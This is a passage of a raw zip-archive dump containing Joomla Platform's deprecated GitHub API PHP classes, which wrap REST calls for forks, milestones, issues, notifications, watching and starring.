* @param string $repo The name of the GitHub repository. * @param integer $page Page to request * @param integer $limit Number of results to return per page * * @deprecated use repositories->forks->getList() * * @return array * * @since 2.5.0 * @throws DomainException */ public function getList($user, $repo, $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/forks'; // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } } PK�\e��$��joomla/github/milestones.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Milestones class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubMilestones extends JGithubObject { /** * Method to get the list of milestones for a repo. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $state The milestone state to retrieved. Open (default) or closed. * @param string $sort Sort can be due_date (default) or completeness. * @param string $direction Direction is asc or desc (default). * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @deprecated use issues->milestones->getList() * * @return array * * @since 3.1.4 */ public function getList($user, $repo, $state = 'open', $sort = 'due_date', $direction = 'desc', $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/milestones?'; $path .= 'state=' . $state; $path .= '&sort=' . $sort; $path .= '&direction=' . $direction; // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a specific milestone. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $milestoneId The milestone id to get. * * @deprecated use issues->milestones->get() * * @return object * * @since 3.1.4 */ public function get($user, $repo, $milestoneId) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/milestones/' . (int) $milestoneId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to create a milestone for a repository. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $title The title of the milestone. * @param string $state Can be open (default) or closed. * @param string $description Optional description for milestone. * @param string $dueOn Optional ISO 8601 time. * * @deprecated use issues->milestones->create() * * @return object * * @since 3.1.4 */ public function create($user, $repo, $title, $state = null, $description = null, $dueOn = null) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/milestones'; // Build the request data. $data = array( 'title' => $title, ); if (!is_null($state)) { $data['state'] = $state; } if (!is_null($description)) { $data['description'] = $description; } if (!is_null($dueOn)) { $data['due_on'] = $dueOn; } $data = json_encode($data); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 201) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to update a milestone. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $milestoneId The id of the comment to update. * @param integer $title Optional title of the milestone. * @param string $state Can be open (default) or closed. * @param string $description Optional description for milestone. * @param string $dueOn Optional ISO 8601 time. * * @deprecated use issues->milestones->edit() * * @return object * * @since 3.1.4 */ public function edit($user, $repo, $milestoneId, $title = null, $state = null, $description = null, $dueOn = null) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/milestones/' . (int) $milestoneId; // Build the request data. $data = array(); if (!is_null($title)) { $data['title'] = $title; } if (!is_null($state)) { $data['state'] = $state; } if (!is_null($description)) { $data['description'] = $description; } if (!is_null($dueOn)) { $data['due_on'] = $dueOn; } $data = json_encode($data); // Send the request. $response = $this->client->patch($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to delete a milestone. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $milestoneId The id of the milestone to delete. * * @deprecated use issues->milestones->delete() * * @return void * * @since 3.1.4 */ public function delete($user, $repo, $milestoneId) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/milestones/' . (int) $milestoneId; // Send the request. $response = $this->client->delete($this->fetchUrl($path)); // Validate the response code. if ($response->code != 204) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } } } PK�\��m�� � joomla/github/object.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * GitHub API object class for the Joomla Platform. * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ abstract class JGithubObject { /** * @var Registry Options for the GitHub object. * @since 1.7.3 */ protected $options; /** * @var JGithubHttp The HTTP client object to use in sending HTTP requests. * @since 1.7.3 */ protected $client; /** * Constructor. * * @param Registry $options GitHub options object. * @param JGithubHttp $client The HTTP client object. * * @since 1.7.3 */ public function __construct(Registry $options = null, JGithubHttp $client = null) { $this->options = isset($options) ? $options : new Registry; $this->client = isset($client) ? $client : new JGithubHttp($this->options); } /** * Method to build and return a full request URL for the request. This method will * add appropriate pagination details if necessary and also prepend the API url * to have a complete URL for the request. * * @param string $path URL to inflect * @param integer $page Page to request * @param integer $limit Number of results to return per page * * @return string The request URL. * * @since 1.7.3 */ protected function fetchUrl($path, $page = 0, $limit = 0) { // Get a new JUri object focusing the api url and given path. $uri = new JUri($this->options->get('api.url') . $path); if ($this->options->get('gh.token', false)) { // Use oAuth authentication - @todo set in request header ? $uri->setVar('access_token', $this->options->get('gh.token')); } else { // Use basic authentication if ($this->options->get('api.username', false)) { $username = $this->options->get('api.username'); $username = str_replace('@', '%40', $username); $uri->setUser($username); } if ($this->options->get('api.password', false)) { $password = $this->options->get('api.password'); $password = str_replace('@', '%40', $password); $uri->setPass($password); } } // If we have a defined page number add it to the JUri object. if ($page > 0) { $uri->setVar('page', (int) $page); } // If we have a defined items per page add it to the JUri object. if ($limit > 0) { $uri->setVar('per_page', (int) $limit); } return (string) $uri; } /** * Process the response and decode it. * * @param JHttpResponse $response The response. * @param integer $expectedCode The expected "good" code. * @param boolean $decode If the should be response be JSON decoded. * * @throws DomainException * @since 3.3.0 * * @return mixed */ protected function processResponse(JHttpResponse $response, $expectedCode = 200, $decode = true) { // Validate the response code. if ($response->code == $expectedCode) { return ($decode) ? json_decode($response->body) : $response->body; } // Decode the error response and throw an exception. $error = json_decode($response->body); $message = (isset($error->message)) ? $error->message : 'Error: ' . $response->code; throw new DomainException($message, $response->code); } } PK�\����joomla/github/http.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * HTTP client class for connecting to a GitHub instance. * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubHttp extends JHttp { /** * Use no authentication for HTTP connections. * * @var integer * @since 1.7.3 */ const AUTHENTICATION_NONE = 0; /** * Use basic authentication for HTTP connections. * * @var integer * @since 1.7.3 */ const AUTHENTICATION_BASIC = 1; /** * Use OAuth authentication for HTTP connections. * * @var integer * @since 1.7.3 */ const AUTHENTICATION_OAUTH = 2; /** * Constructor. * * @param Registry $options Client options object. * @param JHttpTransport $transport The HTTP transport object. * * @since 1.7.3 */ public function __construct(Registry $options = null, JHttpTransport $transport = null) { // Call the JHttp constructor to setup the object. parent::__construct($options, $transport); // Make sure the user agent string is defined. $this->options->def('userAgent', 'JGitHub/2.0'); // Set the default timeout to 120 seconds. $this->options->def('timeout', 120); } } PK�\Q����joomla/github/package.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API package class for the Joomla Platform. * * @since 3.3 (CMS) * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ abstract class JGithubPackage extends JGithubObject { /** * @var string * @since 3.3 (CMS) */ protected $name = ''; /** * @var array * @since 3.3 (CMS) */ protected $packages = array(); /** * Magic method to lazily create API objects * * @param string $name Name of property to retrieve * * @return JGithubPackage GitHub API package object. * * @since 3.3 (CMS) * @throws RuntimeException */ public function __get($name) { if (false == in_array($name, $this->packages)) { throw new RuntimeException(sprintf('%1$s - Unknown package %2$s', __METHOD__, $name)); } if (false == isset($this->$name)) { $className = 'JGithubPackage' . ucfirst($this->name) . ucfirst($name); $this->$name = new $className($this->options, $this->client); } return $this->$name; } } PK�\�\gLz9z9 joomla/github/package/issues.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Issues class for the Joomla Platform. * * @documentation https://developer.github.com/v3/issues * * @since 1.7.3 * @deprecated 4.0 Use the `joomla/github` package via Composer instead * * @property-read JGithubPackageIssuesAssignees $assignees GitHub API object for assignees. * @property-read JGithubPackageIssuesComments $comments GitHub API object for comments. * @property-read JGithubPackageIssuesEvents $events GitHub API object for events. * @property-read JGithubPackageIssuesLabels $labels GitHub API object for labels. * @property-read JGithubPackageIssuesMilestones $milestones GitHub API object for milestones. */ class JGithubPackageIssues extends JGithubPackage { protected $name = 'Issues'; protected $packages = array('assignees', 'comments', 'events', 'labels', 'milestones'); /** * Method to create an issue. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $title The title of the new issue. * @param string $body The body text for the new issue. * @param string $assignee The login for the GitHub user that this issue should be assigned to. * @param integer $milestone The milestone to associate this issue with. * @param array $labels The labels to associate with this issue. * * @throws DomainException * @since 1.7.3 * * @return object */ public function create($user, $repo, $title, $body = null, $assignee = null, $milestone = null, array $labels = null) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/issues'; // Ensure that we have a non-associative array. if (isset($labels)) { $labels = array_values($labels); } // Build the request data. $data = json_encode( array( 'title' => $title, 'assignee' => $assignee, 'milestone' => $milestone, 'labels' => $labels, 'body' => $body, ) ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 201) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to update an issue. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $issueId The issue number. * @param string $state The optional new state for the issue. [open, closed] * @param string $title The title of the new issue. * @param string $body The body text for the new issue. * @param string $assignee The login for the GitHub user that this issue should be assigned to. * @param integer $milestone The milestone to associate this issue with. * @param array $labels The labels to associate with this issue. * * @throws DomainException * @since 1.7.3 * * @return object */ public function edit($user, $repo, $issueId, $state = null, $title = null, $body = null, $assignee = null, $milestone = null, array $labels = null) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/issues/' . (int) $issueId; // Create the data object. $data = new stdClass; // If a title is set add it to the data object. if (isset($title)) { $data->title = $title; } // If a body is set add it to the data object. if (isset($body)) { $data->body = $body; } // If a state is set add it to the data object. if (isset($state)) { $data->state = $state; } // If an assignee is set add it to the data object. if (isset($assignee)) { $data->assignee = $assignee; } // If a milestone is set add it to the data object. if (isset($milestone)) { $data->milestone = $milestone; } // If labels are set add them to the data object. if (isset($labels)) { // Ensure that we have a non-associative array. if (isset($labels)) { $labels = array_values($labels); } $data->labels = $labels; } // Encode the request data. $data = json_encode($data); // Send the request. $response = $this->client->patch($this->fetchUrl($path), $data); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to get a single issue. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $issueId The issue number. * * @throws DomainException * @since 1.7.3 * * @return object */ public function get($user, $repo, $issueId) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/issues/' . (int) $issueId; // Send the request. $response = $this->client->get($this->fetchUrl($path)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to list an authenticated user's issues. * * @param string $filter The filter type: assigned, created, mentioned, subscribed. * @param string $state The optional state to filter requests by. [open, closed] * @param string $labels The list of comma separated Label names. Example: bug,ui,@high. * @param string $sort The sort order: created, updated, comments, default: created. * @param string $direction The list direction: asc or desc, default: desc. * @param JDate $since The date/time since when issues should be returned. * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @throws DomainException * @since 1.7.3 * * @return array */ public function getList($filter = null, $state = null, $labels = null, $sort = null, $direction = null, JDate $since = null, $page = 0, $limit = 0) { // Build the request path. $path = '/issues'; // TODO Implement the filtering options. // Send the request. $response = $this->client->get($this->fetchUrl($path, $page, $limit)); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /** * Method to list issues. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $milestone The milestone number, 'none', or *. * @param string $state The optional state to filter requests by. [open, closed] * @param string $assignee The assignee name, 'none', or *. * @param string $mentioned The GitHub user name. * @param string $labels The list of comma separated Label names. Example: bug,ui,@high. * @param string $sort The sort order: created, updated, comments, default: created. * @param string $direction The list direction: asc or desc, default: desc. * @param JDate $since The date/time since when issues should be returned. * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @throws DomainException * @since 1.7.3 * * @return array */ public function getListByRepository($user, $repo, $milestone = null, $state = null, $assignee = null, $mentioned = null, $labels = null, $sort = null, $direction = null, JDate $since = null, $page = 0, $limit = 0) { // Build the request path. $path = '/repos/' . $user . '/' . $repo . '/issues'; $uri = new JUri($this->fetchUrl($path, $page, $limit)); if ($milestone) { $uri->setVar('milestone', $milestone); } if ($state) { $uri->setVar('state', $state); } if ($assignee) { $uri->setVar('assignee', $assignee); } if ($mentioned) { $uri->setVar('mentioned', $mentioned); } if ($labels) { $uri->setVar('labels', $labels); } if ($sort) { $uri->setVar('sort', $sort); } if ($direction) { $uri->setVar('direction', $direction); } if ($since) { $uri->setVar('since', $since->toISO8601()); } // Send the request. $response = $this->client->get((string) $uri); // Validate the response code. if ($response->code != 200) { // Decode the error response and throw an exception. $error = json_decode($response->body); throw new DomainException($error->message, $response->code); } return json_decode($response->body); } /* * Deprecated methods */ /** * Method to create a comment on an issue. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $issueId The issue number. * @param string $body The comment body text. * * @deprecated use issues->comments->create() * * @return object * * @since 1.7.3 */ public function createComment($user, $repo, $issueId, $body) { return $this->comments->create($user, $repo, $issueId, $body); } /** * Method to create a label on a repo. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $name The label name. * @param string $color The label color. * * @deprecated use issues->labels->create() * * @return object * * @since 3.1.4 */ public function createLabel($user, $repo, $name, $color) { return $this->labels->create($user, $repo, $name, $color); } /** * Method to delete a comment on an issue. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $commentId The id of the comment to delete. * * @deprecated use issues->comments->delete() * * @return void * * @since 1.7.3 */ public function deleteComment($user, $repo, $commentId) { $this->comments->delete($user, $repo, $commentId); } /** * Method to delete a label on a repo. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $label The label name. * * @deprecated use issues->labels->delete() * * @return object * * @since 3.1.4 */ public function deleteLabel($user, $repo, $label) { return $this->labels->delete($user, $repo, $label); } /** * Method to update a comment on an issue. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $commentId The id of the comment to update. * @param string $body The new body text for the comment. * * @deprecated use issues->comments->edit() * * @return object * * @since 1.7.3 */ public function editComment($user, $repo, $commentId, $body) { return $this->comments->edit($user, $repo, $commentId, $body); } /** * Method to update a label on a repo. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $label The label name. * @param string $name The label name. * @param string $color The label color. * * @deprecated use issues->labels->update() * * @return object * * @since 3.1.4 */ public function editLabel($user, $repo, $label, $name, $color) { return $this->labels->update($user, $repo, $label, $name, $color); } /** * Method to get a specific comment on an issue. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $commentId The comment id to get. * * @deprecated use issues->comments->get() * * @return object * * @since 1.7.3 */ public function getComment($user, $repo, $commentId) { return $this->comments->get($user, $repo, $commentId); } /** * Method to get the list of comments on an issue. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param integer $issueId The issue number. * @param integer $page The page number from which to get items. * @param integer $limit The number of items on a page. * * @deprecated use issues->comments->getList() * * @return array * * @since 1.7.3 */ public function getComments($user, $repo, $issueId, $page = 0, $limit = 0) { return $this->comments->getList($user, $repo, $issueId, $page, $limit); } /** * Method to get a specific label on a repo. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * @param string $name The label name to get. * * @deprecated use issues->labels->get() * * @return object * * @since 3.1.4 */ public function getLabel($user, $repo, $name) { return $this->labels->get($user, $repo, $name); } /** * Method to get the list of labels on a repo. * * @param string $user The name of the owner of the GitHub repository. * @param string $repo The name of the GitHub repository. * * @deprecated use issues->labels->getList() * * @return array * * @since 3.1.4 */ public function getLabels($user, $repo) { return $this->labels->getList($user, $repo); } } PK�\l1�њ�+joomla/github/package/activity/watching.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Activity Watching Events class for the Joomla Platform. * * @documentation https://developer.github.com/v3/activity/watching/ * * @since 3.3 (CMS) * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageActivityWatching extends JGithubPackage { /** * List watchers * * @param string $owner Repository owner. * @param string $repo Repository name. * * @since 3.3 (CMS) * * @return mixed */ public function getList($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/subscribers'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List repositories being watched. * * List repositories being watched by a user. * * @param string $user User name. * * @since 3.3 (CMS) * * @return mixed */ public function getRepositories($user = '') { // Build the request path. $path = ($user) ? '/users/' . $user . '/subscriptions' : '/user/subscriptions'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Get a Repository Subscription. * * @param string $owner Repository owner. * @param string $repo Repository name. * * @since 3.3 (CMS) * * @return mixed */ public function getSubscription($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/subscription'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Set a Repository Subscription. * * @param string $owner Repository owner. * @param string $repo Repository name. * @param boolean $subscribed Determines if notifications should be received from this thread. * @param boolean $ignored Determines if all notifications should be blocked from this thread. * * @since 3.3 (CMS) * * @return object */ public function setSubscription($owner, $repo, $subscribed, $ignored) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/subscription'; $data = array( 'subscribed' => $subscribed, 'ignored' => $ignored, ); return $this->processResponse( $this->client->put($this->fetchUrl($path), json_encode($data)) ); } /** * Delete a Repository Subscription. * * @param string $owner Repository owner. * @param string $repo Repository name. * * @since 3.3 (CMS) * * @return object */ public function deleteSubscription($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/subscription'; return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } /** * Check if you are watching a repository (LEGACY). * * Requires for the user to be authenticated. * * @param string $owner Repository owner. * @param string $repo Repository name. * * @throws UnexpectedValueException * @since 3.3 (CMS) * * @return object */ public function check($owner, $repo) { // Build the request path. $path = '/user/subscriptions/' . $owner . '/' . $repo; $response = $this->client->get($this->fetchUrl($path)); switch ($response->code) { case '204' : // This repository is watched by you. return true; break; case '404' : // This repository is not watched by you. return false; break; } throw new UnexpectedValueException('Unexpected response code: ' . $response->code); } /** * Watch a repository (LEGACY). * * Requires for the user to be authenticated. * * @param string $owner Repository owner. * @param string $repo Repository name. * * @since 3.3 (CMS) * * @return object */ public function watch($owner, $repo) { // Build the request path. $path = '/user/subscriptions/' . $owner . '/' . $repo; return $this->processResponse( $this->client->put($this->fetchUrl($path), ''), 204 ); } /** * Stop watching a repository (LEGACY). * * Requires for the user to be authenticated. * * @param string $owner Repository owner. * @param string $repo Repository name. * * @since 3.3 (CMS) * * @return object */ public function unwatch($owner, $repo) { // Build the request path. $path = '/user/subscriptions/' . $owner . '/' . $repo; return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } } PK�\u�@�~~0joomla/github/package/activity/notifications.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Activity Events class for the Joomla Platform. * * @documentation https://developer.github.com/v3/activity/notifications/ * * @since 3.3 (CMS) * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageActivityNotifications extends JGithubPackage { /** * List your notifications. * * List all notifications for the current user, grouped by repository. * * @param boolean $all True to show notifications marked as read. * @param boolean $participating True to show only notifications in which the user is directly participating or * mentioned. * @param JDate $since filters out any notifications updated before the given time. The time should be passed in * as UTC in the ISO 8601 format. * * @since 3.3 (CMS) * * @return object */ public function getList($all = true, $participating = true, JDate $since = null) { // Build the request path. $path = '/notifications?'; $path .= ($all) ? '&all=1' : ''; $path .= ($participating) ? '&participating=1' : ''; $path .= ($since) ? '&since=' . $since->toISO8601() : ''; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List your notifications in a repository. * * List all notifications for the current user. * * @param string $owner Repository owner. * @param string $repo Repository name. * @param boolean $all True to show notifications marked as read. * @param boolean $participating True to show only notifications in which the user is directly participating or * mentioned. * @param JDate $since filters out any notifications updated before the given time. The time should be passed in * as UTC in the ISO 8601 format. * * @since 3.3 (CMS) * * @return object */ public function getListRepository($owner, $repo, $all = true, $participating = true, JDate $since = null) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/notifications?'; $path .= ($all) ? '&all=1' : ''; $path .= ($participating) ? '&participating=1' : ''; $path .= ($since) ? '&since=' . $since->toISO8601() : ''; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Mark as read. * * Marking a notification as “read” removes it from the default view on GitHub.com. * * @param boolean $unread Changes the unread status of the threads. * @param boolean $read Inverse of “unread”. * @param JDate $lastReadAt Describes the last point that notifications were checked. * Anything updated since this time will not be updated. Default: Now. Expected in ISO 8601 format. * * @since 3.3 (CMS) * * @return object */ public function markRead($unread = true, $read = true, JDate $lastReadAt = null) { // Build the request path. $path = '/notifications'; $data = array( 'unread' => $unread, 'read' => $read, ); if ($lastReadAt) { $data['last_read_at'] = $lastReadAt->toISO8601(); } return $this->processResponse( $this->client->put($this->fetchUrl($path), json_encode($data)), 205 ); } /** * Mark notifications as read in a repository. * * Marking all notifications in a repository as “read” removes them from the default view on GitHub.com. * * @param string $owner Repository owner. * @param string $repo Repository name. * @param boolean $unread Changes the unread status of the threads. * @param boolean $read Inverse of “unread”. * @param JDate $lastReadAt Describes the last point that notifications were checked. * Anything updated since this time will not be updated. Default: Now. Expected in ISO 8601 format. * * @since 3.3 (CMS) * * @return object */ public function markReadRepository($owner, $repo, $unread, $read, JDate $lastReadAt = null) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/notifications'; $data = array( 'unread' => $unread, 'read' => $read, ); if ($lastReadAt) { $data['last_read_at'] = $lastReadAt->toISO8601(); } return $this->processResponse( $this->client->put($this->fetchUrl($path), json_encode($data)), 205 ); } /** * View a single thread. * * @param integer $id The thread id. * * @since 3.3 (CMS) * * @return object */ public function viewThread($id) { // Build the request path. $path = '/notifications/threads/' . $id; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Mark a thread as read. * * @param integer $id The thread id. * @param boolean $unread Changes the unread status of the threads. * @param boolean $read Inverse of “unread”. * * @since 3.3 (CMS) * * @return object */ public function markReadThread($id, $unread = true, $read = true) { // Build the request path. $path = '/notifications/threads/' . $id; $data = array( 'unread' => $unread, 'read' => $read, ); return $this->processResponse( $this->client->patch($this->fetchUrl($path), json_encode($data)), 205 ); } /** * Get a Thread Subscription. * * This checks to see if the current user is subscribed to a thread. * You can also get a Repository subscription. * * @param integer $id The thread id. * * @since 3.3 (CMS) * * @return object */ public function getThreadSubscription($id) { // Build the request path. $path = '/notifications/threads/' . $id . '/subscription'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Set a Thread Subscription. * * This lets you subscribe to a thread, or ignore it. Subscribing to a thread is unnecessary * if the user is already subscribed to the repository. Ignoring a thread will mute all * future notifications (until you comment or get @mentioned). * * @param integer $id The thread id. * @param boolean $subscribed Determines if notifications should be received from this thread. * @param boolean $ignored Determines if all notifications should be blocked from this thread. * * @since 3.3 (CMS) * * @return object */ public function setThreadSubscription($id, $subscribed, $ignored) { // Build the request path. $path = '/notifications/threads/' . $id . '/subscription'; $data = array( 'subscribed' => $subscribed, 'ignored' => $ignored, ); return $this->processResponse( $this->client->put($this->fetchUrl($path), json_encode($data)) ); } /** * Delete a Thread Subscription. * * @param integer $id The thread id. * * @since 3.3 (CMS) * * @return object */ public function deleteThreadSubscription($id) { // Build the request path. $path = '/notifications/threads/' . $id . '/subscription'; return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } } PK�\�~ ���+joomla/github/package/activity/starring.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Activity Events class for the Joomla Platform. * * @documentation https://developer.github.com/v3/activity/starring/ * * @since 3.3 (CMS) * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageActivityStarring extends JGithubPackage { /** * List Stargazers. * * @param string $owner Repository owner. * @param string $repo Repository name. * * @since 3.3 (CMS) * * @return mixed */ public function getList($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/stargazers'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List repositories being starred. * * List repositories being starred by a user. * * @param string $user User name. * * @since 3.3 (CMS) * * @return object */ public function getRepositories($user = '') { // Build the request path. $path = ($user) ? '/users' . $user . '/starred' : '/user/starred'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * Check if you are starring a repository. * * Requires for the user to be authenticated. * * @param string $owner Repository owner. * @param string $repo Repository name. * * @throws UnexpectedValueException * @since 3.3 (CMS) * * @return object */ public function check($owner, $repo) { // Build the request path. $path = '/user/starred/' . $owner . '/' . $repo; $response = $this->client->get($this->fetchUrl($path)); switch ($response->code) { case '204' : // This repository is watched by you. return true; break; case '404' : // This repository is not watched by you. return false; break; } throw new UnexpectedValueException('Unexpected response code: ' . $response->code); } /** * Star a repository. * * Requires for the user to be authenticated. * * @param string $owner Repository owner. * @param string $repo Repository name. * * @since 3.3 (CMS) * * @return object */ public function star($owner, $repo) { // Build the request path. $path = '/user/starred/' . $owner . '/' . $repo; return $this->processResponse( $this->client->put($this->fetchUrl($path), ''), 204 ); } /** * Unstar a repository. * * Requires for the user to be authenticated. * * @param string $owner Repository owner. * @param string $repo Repository name. * * @since 3.3 (CMS) * * @return object */ public function unstar($owner, $repo) { // Build the request path. $path = '/user/starred/' . $owner . '/' . $repo; return $this->processResponse( $this->client->delete($this->fetchUrl($path)), 204 ); } } PK�\ƺ��)joomla/github/package/activity/events.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage GitHub * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * GitHub API Activity Events class for the Joomla Platform. * * @documentation https://developer.github.com/v3/activity/events/ * * @since 3.3 (CMS) * @deprecated 4.0 Use the `joomla/github` package via Composer instead */ class JGithubPackageActivityEvents extends JGithubPackage { /** * List public events. * * @since 3.1.4 * @return object */ public function getPublic() { // Build the request path. $path = '/events'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List repository events. * * @param string $owner Repository owner. * @param string $repo Repository name. * * @since 3.1.4 * * @return object */ public function getRepository($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/events'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List issue events for a repository. * * @param string $owner Repository owner. * @param string $repo Repository name. * * @since 3.1.4 * @return object */ public function getIssue($owner, $repo) { // Build the request path. $path = '/repos/' . $owner . '/' . $repo . '/issues/events'; return $this->processResponse( $this->client->get($this->fetchUrl($path)) ); } /** * List public events for a network of repositories. * * @param string $owner Repository owner. * @param string $repo Repository name. * * @since 3.1.4 * @return object 